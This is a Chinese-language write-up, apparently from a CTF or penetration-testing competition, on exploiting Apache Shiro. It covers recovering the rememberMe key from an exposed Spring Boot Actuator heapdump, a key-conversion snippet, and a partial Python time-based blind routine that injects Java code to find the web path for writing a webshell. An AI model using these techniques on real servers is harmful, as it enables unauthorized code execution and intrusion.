遇到的一些Shiro利用
遇到的一些Shiro利用
heapdump泄露密钥key
这个是在ciscn final渗透中遇到的。
在这里大概记录一下(想搭个环境最后利用老是坏掉,开发的能力还是很欠缺)
访问这个接口/actuator/
Spring Boot Actuator 是一个非常强大的工具包,它提供了一组内置的端点(endpoints),用于监控和管理 Spring Boot 应用程序。这些端点可以提供有关应用程序的运行时信息,例如健康状态、环境变量、HTTP 路由等,还可以执行诸如清理缓存、触发垃圾回收等操作。
heapdump是生成的一个包含 Java 虚拟机(JVM)堆内存状态的文件
默认情况下,Actuator 提供的许多端点是禁用的
所以在可以匿名访问或者未授权访问时能用,一般配置里这样写
management:
endpoints:
web:
exposure:
include: health,info,heapdump
endpoint:
health:
show-details: always
heapdump:
enabled: true
或
management.endpoints.web.exposure.include=health,info,heapdump
management.endpoint.health.show-details=always
management.endpoint.heapdump.enabled=true
点击可以下载heapdump文件
我们可以使用工具做掉它
可以看到不只key其实还有很多其他东西可以探索
除了这个工具我们还可以使用java自带的
jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe
可以进行类的过滤,想想我们分析shiro反序列化原理时候的类,我们可以搜一下
看看CookieRememberMeMananger
找到key使用脚本转换一下
import base64
import struct
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -82, -68, 32, -43, -68, -49, -114, 1, 49, 83, -84, -69, -19, 10, -14, 121)))
Shrio不出网利用
不出网显而易见就是无法访问外网,很多情况就是能拿到shell但是没办法反弹shell,可能就是把服务器的某个端口映射出来了等等
检测可以使用zhzyker/shiro-1.2.4-rce: shiro <= 1.2.4 反序列化远程命令执行利用脚本 (github.com)
改写了ysoserial,增加时延来判断是否存在漏洞
遍历链子和key来判断利用链
成功后可以进一步利用
在我的了解下主要就是这几个方面解决shiro不出网利用:
定位Web目录写入文件
比如可以在前端源码中找到某个文件夹是存放文件的可以写进去
构造回显
构造通用回显
内存马
写内存马
时间延迟获取Web路径写入webshell
def BinarySearch(target, index, left, right, lowerStdLimit):
while True:
mid = (left + right)/2
if mid == left:
return chr(mid)
break
code1 = """
String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath();
int a = (int) var1.charAt(%d);
if (a < %d) {
Thread.currentThread().sleep(5000L);
}
""" % (index, mid)
code2 = """
String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath();
int a = (int) var1.charAt(%d);
if (a < %d) {
Thread.currentThread().sleep(0000L);
}
""" % (index, mid)
code1_base64 = base64.b64encode(code1)
re_value1 = poc(code1_base64)
code2_base64 = base64.b64encode(code2)
re_value2 = poc(code2_base64)
time1 = resp_time(target, re_value1)
if time1 > lowerStdLimit:
time2 = resp_time(target, re_value2)
if time2 <= lowerStdLimit:
right = mid
else:
left = mid
else:
left = mid